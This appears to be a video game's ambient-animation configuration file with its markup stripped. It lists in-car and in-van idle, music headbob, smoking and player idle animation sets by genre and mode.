HEADBOB_DRIVER_MOTOWN_IDLE_A + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_IDLE_A + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_HEADBOB_FRONT_PASSENGER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_PASSENGER_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_BASE + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_BASE + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_BASE + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_BASE + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_BASE + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_PASSENGER_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_IDLE_A + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_IDLE_A + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_IDLE_A + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_IDLE_A + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_IDLE_A + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_HEADBOB_RDS + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_RDS_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_RDS_COUNTRY_BASE + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_RDS_HIPHOP_BASE + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_RDS_MEXICAN_BASE + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_RDS_MOTOWN_BASE + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_RDS_PUNK_BASE + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_RDS_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_RDS_COUNTRY_IDLE_A + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_RDS_HIPHOP_IDLE_A + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_RDS_MEXICAN_IDLE_A + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_RDS_MOTOWN_IDLE_A + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_RDS_PUNK_IDLE_A + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_HEADBOB_RPS + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_RPS_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_RPS_COUNTRY_BASE + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_RPS_HIPHOP_BASE + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_RDS_MEXICAN_BASE + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_RPS_MOTOWN_BASE + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_RPS_PUNK_BASE + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_RPS_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_RPS_COUNTRY_IDLE_A + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_RPS_HIPHOP_IDLE_A + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_RPS_MEXICAN_IDLE_A + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_RPS_MOTOWN_IDLE_A + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_RPS_PUNK_IDLE_A + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_LOWRIDER_ARM_MUSIC_HEADBOB_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + True + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_BASE + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_HIPHOP_BASE + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_BASE + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_BASE + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_BASE + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_GENERIC_IDLE_A + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_GENERIC_IDLE_B + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_GENERIC_IDLE_C + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_GENERIC_IDLE_D + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_GENERIC_IDLE_E + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_IDLE_A + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_IDLE_B + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_IDLE_C + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_IDLE_D + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_IDLE_E + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_COUNTRY_IDLE_F + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_HIPHOP_IDLE_A + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_HIPHOP_IDLE_B + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_HIPHOP_IDLE_C + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_HIPHOP_IDLE_D + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_HIPHOP_IDLE_E + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_IDLE_A + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_IDLE_B + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_IDLE_C + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_IDLE_D + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_IDLE_E + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MEXICAN_IDLE_F + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_IDLE_A + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_IDLE_B + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_IDLE_C + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_IDLE_D + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_IDLE_E + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_MOTOWN_IDLE_F + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_IDLE_A + + + + True + GENRE_PUNK + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_IDLE_B + + + + True + GENRE_PUNK + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_IDLE_C + + + + True + GENRE_PUNK + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_IDLE_D + + + + True + GENRE_PUNK + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_IDLE_E + + + + True + GENRE_PUNK + + + + + + HEADBOB_DRIVER_LOWRIDER_STD_PUNK_IDLE_F + + + + True + GENRE_PUNK + + + + + + + + + + + + + + + + IN_CAR_LOW + + + CODE_HUMAN_IN_CAR_IDLES_LOW_DRIVER + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_DRIVER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_DRIVER_SIDE@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_DRIVER_SIDE@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_DRIVER_SIDE@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_DRIVER_SIDE@IDLES_D + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE + + + + + + + + + + + + + + + + True + + + False + + + + False + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE@IDLES_D + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_LOW_PASSENGER_SIDE@IDLES_E + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_LOW_MUSIC_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + True + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_MUSIC_DRIVER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_MUSIC_DRIVER_SIDE@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_LOW_MUSIC_PASSENGER_SIDE + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + False + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_MUSIC_PASSENGER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_MUSIC_PASSENGER_SIDE@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_LOW_SMOKING + CIGARETTES + + + + + + + + + + + + SMOKING_IN_CAR_REGISTERED + ANM_CIG_SMOKE_CAR + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH_CAR + + + BONETAG_HEAD + + + + + + + + + + True + + + False + + + + False + + + + True + + + False + + + + False + + + True + + + True + WEAPON_UNARMED + + + True + Object + + + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_SMOKING@BASE + + + + True + CIGARETTES + + + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_SMOKING@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_SMOKING@EXIT + + + + True + CIGARETTES + + + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_SMOKING@IDLES_A + + + + True + CIGARETTES + + + + + + AMB@CODE_HUMAN_IN_CAR_LOW_SMOKING@IDLES_B + + + + True + CIGARETTES + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_LOW_MUSIC_HEADBOB_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_DRIVER_GENERIC_BASE_LOW_CAR + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_BASE_LOW_CAR + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_BASE_LOW_CAR + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_BASE_LOW_CAR + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_BASE_LOW_CAR + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_BASE_LOW_CAR + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_DRIVER_GENERIC_BASE_LOW_CAR + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_IDLE_A_LOW_CAR + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_IDLE_A_LOW_CAR + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_IDLE_A_LOW_CAR + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_IDLE_A_LOW_CAR + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_IDLE_A_LOW_CAR + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_LOW_MUSIC_HEADBOB_FRONT_PASSENGER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_PASSENGER_GENERIC_BASE_LOW_CAR + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_BASE_LOW_CAR + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_BASE_LOW_CAR + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_BASE_LOW_CAR + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_BASE_LOW_CAR + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_BASE_LOW_CAR + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_PASSENGER_GENERIC_BASE_LOW_CAR + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_IDLE_A_LOW_CAR + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_IDLE_A_LOW_CAR + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_IDLE_A_LOW_CAR + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_IDLE_A_LOW_CAR + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_IDLE_A_LOW_CAR + + + + True + GENRE_PUNK + + + + + + + + + + + + + + + + IN_VAN + + + CODE_HUMAN_IN_CAR_IDLES_VAN_DRIVER + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_DRIVER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_DRIVER_SIDE@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_DRIVER_SIDE@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_DRIVER_SIDE@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_DRIVER_SIDE@IDLES_D + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE + + + + + + + + + + + + + + + + True + + + False + + + + False + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE@IDLES_D + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_VAN_PASSENGER_SIDE@IDLES_E + + + + + + + + + + + + + + CODE_HUMAN_IN_VAN_MUSIC_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + True + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_VAN_MUSIC_DRIVER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_VAN_MUSIC_DRIVER_SIDE@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_VAN_MUSIC_PASSENGER_SIDE + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + False + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_VAN_MUSIC_PASSENGER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_VAN_MUSIC_PASSENGER_SIDE@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_VAN_SMOKING + CIGARETTES + + + + + + + + + + + + SMOKING_IN_CAR_REGISTERED + ANM_CIG_SMOKE_CAR + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH_CAR + + + BONETAG_HEAD + + + + + + + + + + True + + + False + + + + False + + + + False + + + + False + + + + True + + + False + + + + False + + + False + + + True + + + True + WEAPON_UNARMED + + + True + Object + + + + + False + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@BASE + + + + True + CIGARETTES + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@EXIT + + + + True + CIGARETTES + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@IDLES_A + + + + True + CIGARETTES + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@IDLES_B + + + + True + CIGARETTES + + + + + + + + + + + + + + CODE_HUMAN_IN_VAN_SMOKING_WEED + JOINT + + + + + + + + + + + + SMOKING_IN_CAR_REGISTERED + ANM_WEED_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH_CAR + + + BONETAG_HEAD + + + + + + + + + + True + + + True + + + TRUE + + + + TRUE + + + + + + False + + + + True + + + False + + + + False + + + False + + + True + + + True + WEAPON_UNARMED + + + True + Object + + + + + False + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@BASE + + + + True + JOINT + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@EXIT + + + + True + JOINT + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@IDLES_A + + + + True + JOINT + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@IDLES_B + + + + True + JOINT + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_VAN_MUSIC_HEADBOB_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_DRIVER_GENERIC_BASE_VAN + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_BASE_VAN + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_BASE_VAN + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_BASE_VAN + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_BASE_VAN + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_BASE_VAN + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_DRIVER_GENERIC_BASE_VAN + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_IDLE_A_VAN + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_IDLE_A_VAN + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_IDLE_A_VAN + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_IDLE_A_VAN + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_IDLE_A_VAN + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_VAN_MUSIC_HEADBOB_FRONT_PASSENGER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_PASSENGER_GENERIC_BASE_VAN + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_BASE_VAN + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_BASE_VAN + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_BASE_VAN + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_BASE_VAN + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_BASE_VAN + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_PASSENGER_GENERIC_IDLE_A_VAN + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_IDLE_A_VAN + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_IDLE_A_VAN + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_IDLE_A_VAN + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_IDLE_A_VAN + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_IDLE_A_VAN + + + + True + GENRE_PUNK + + + + + + + + + + + + + + + + Combat + + + + Scenario_with_investigation + + + + Scenario_Stop_Flee + + + + DefaultScenarioIdles + + + + DEFEND + + + + PLAYER_IDLES + + + P_M_ZERO_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Action + + + + + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@VARIATIONS + + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + P_M_ZERO_GENERIC_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + + + + + + + MOVE_P_M_ZERO_IDLES@GENERIC + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + + + + MOVE_M@_IDLES@WET + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@OUT_OF_BREATH + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@SHAKE_OFF + + + + True + + + True + + + ForceIdleThroughBlendOut + + + move_m@drunk@VERYDRUNK_IDLES@ + + + + True + move_m@drunk@VERYDRUNK + + + + + + MOVE_M@DRUNK@MODERATEDRUNK_IDLES@ + + + + True + move_m@drunk@MODERATEDRUNK + + + + + + MOVE_M@DRUNK@SLIGHTLYDRUNK_IDLES@ + + + + True + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + + + + + + P_M_ZERO_STEALTH_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Stealth + + + + + + + + + + + move_stealth@p_m_zero@unarmed@idle@a + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@unarmed@idle@b + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@unarmed@idle@c + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@unarmed@idle@d + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@1h@idle@a + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@1h@idle@b + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@1h@idle@c + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@1h@idle@d + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@2h@idle@a + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h@idle@b + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h@idle@c + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h@idle@d + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h_short@idle@a + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_zero@2h_short@idle@b + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_zero@2h_short@idle@c + + + + True + Stealth + MMI_2Handed_Short + + + + + + + 